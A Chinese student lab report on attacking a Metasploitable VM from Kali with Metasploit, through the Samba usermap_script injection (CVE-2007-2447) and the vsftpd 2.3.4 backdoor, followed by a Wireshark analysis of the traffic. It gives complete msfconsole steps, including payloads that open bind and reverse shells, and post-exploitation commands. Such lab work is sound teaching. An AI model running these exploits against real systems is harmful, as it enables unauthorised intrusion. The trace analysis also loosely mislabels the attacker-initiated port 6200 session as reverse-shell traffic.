一、核心知识点梳理
1.Samba服务
Samba 遵循 SMB/CIFS 网络协议,可让类 Unix 系统模拟 Windows 的网络邻居服务,实现不同操作系统的互联。Samba 主要包含两大核心进程,分别是 smbd 和 nmbd。smbd 负责处理文件共享、权限校验、读写访问等数据传输工作;nmbd 主要承担网络名称解析、局域网主机广播浏览功能,让 Windows 电脑能在网络邻居中直接发现 Linux 共享主机。
2.Usermap_script安全漏洞
Usermap_script 漏洞编号为 CVE-2007-2447,是 一种远程命令注入漏洞,Samba 内置 username map script 配置项,作用是将 Windows 登录用户名映射为 Linux 本地系统用户,方便跨平台身份认证。当管理员在配置文件中开启该功能后,程序在处理客户端传入的用户名时,未对分号、管道符、逻辑连接符等 Shell 特殊字符进行过滤与校验,直接把用户可控的输入内容拼接调用系统命令行执行,由此产生命令注入缺陷。
3.msfconsole
msfconsole是Metasploit框架的控制台,其采用命令行交互模式,整合了大量公开漏洞库、攻击模块、漏洞载荷与辅助脚本,并且其包含漏洞利用模块、攻击载荷模块、辅助扫描模块、编码免杀模块及后渗透模块,适配Windows、Linux等常见漏洞场景。
二、实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
- 查看kali的IP地址为
192.168.200.6
![image]()
- 编辑Metasploitable虚拟机,修改其IP地址与kali在同一网段下,设置为
192.168.200.5
sudo vim /etc/rc.local
![image]()
- 在kali中确认和靶机的连通性
![image]()
- 打开Metasploit框架的控制台msfconsole
msfconsole
![image]()
- 在 msfconsole 中查找用于usermap_script漏洞的模块
search samba usermap_script
![image]()
- 搜索到
exploit/multi/samba/usermap_script模块,使用该模块进行攻击
use exploit/multi/samba/usermap_script
![image]()
- 查看此模块所适配的攻击载荷列表
show payloads
![image]()
- 选择正向 NC 后门载荷,并输入对应的Metasploitable(靶机)和kali(攻击机)IP地址后发起攻击
set payload cmd/unix/bind_netcat
set RHOST 192.168.200.5
set LHOST 192.168.200.6
exploit

- 查看当前的IP地址,发现是Metasploitable(靶机)的IP地址,攻击成功
![image]()
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
- 查看Metasploitable2-Linux的IP地址为
192.168.200.7
![image]()
- 在kali中打开 msfconsole
![image]()
- 查看针对 vsftpd 的攻击模块
search vsftpd
![image]()
- 加载vsftpd 2.3.4 恶意后门漏洞攻击模块
use exploit/unix/ftp/vsftpd_234_backdoor - 打开 Wireshark,只过滤
ip.addr == 192.168.200.6 && ip.addr == 192.168.200.7的流量,准备监听
![image]()
- 设定攻击目标IP为
192.168.200.7,让被攻击的靶机主动反弹 shell 连接到kali,从而控制靶机。
set RHOSTS 192.168.200.7
set LHOST 192.168.200.6
set payload cmd/unix/reverse
exploit

- 登录靶机后查看当前权限为root,核查当前靶机信息,进入总根目录新建文件夹与日志文件,验证漏洞是否攻击成功。
whoami
uname -a
cd /home
mkdir attack_verify
echo "vsftpd attack success" > attack_log.txt
ls

- 回到 Wireshark,分析攻击过程的流量情况
![image]()
- 1. 建立 FTP 控制会话(第 43 号包-第 45 号包): 攻击机向靶机发送连接请求,携带初始序列号(Seq=0),请求建立 TCP 连接;靶机回应连接请求,既确认收到攻击机的 SYN,也携带自身的初始序列号(Seq=0),完成双向同步;攻击机确认收到靶机的 SYN+AC,无载荷数据,至此 TCP 三次握手完成,FTP 控制会话正式建立。
![image]()
- 2. 触发笑脸漏洞(第 48 号包): 攻击机发送 FTP 用户名 USER Fiv7:) ,当靶机解析到 😃 序列时,后门触发逻辑被激活,服务端开始在 6200 端口监听
![image]()
- 3.建立后门控制通道(第 52 号包-第 54 号包): 攻击机向靶机 6200 端口发送 SYN 包,靶机返回 SYN+ACK 包,确认端口处于监听状态。攻击机发送 ACK 包,完成与 的 TCP 连接建立。
![image]()
- 4. 实施恶意行为: 打开交互流
tcp.stream,直接展示了漏洞利用后的恶意行为,包括查看权限、创建文件夹等操作。
![image]()
-
攻击特征分析
1. 后门端口会话:
攻击机先与靶机 TCP/21 端口 完成三次握手,建立标准 FTP 控制连接。然后攻击机主动向靶机 TCP/6200 端口 发起新的 TCP 三次握手,并成功建立连接,6200 端口的会话无任何应用层协议标识,仅表现为纯 TCP 数据交互,属于典型的反向 shell 流量特征。
2. 恶意USER命令触发标识:
FTP 会话中,USER命令的参数包含:),例如USER Fiv7:)。服务端的响应完全正常,返回标准的331 Please specify the password.,无任何错误提示,但此时后门已被静默激活,后台启动 root 权限的 shell 并监听 6200 端口。

















浙公网安备 33010602011771号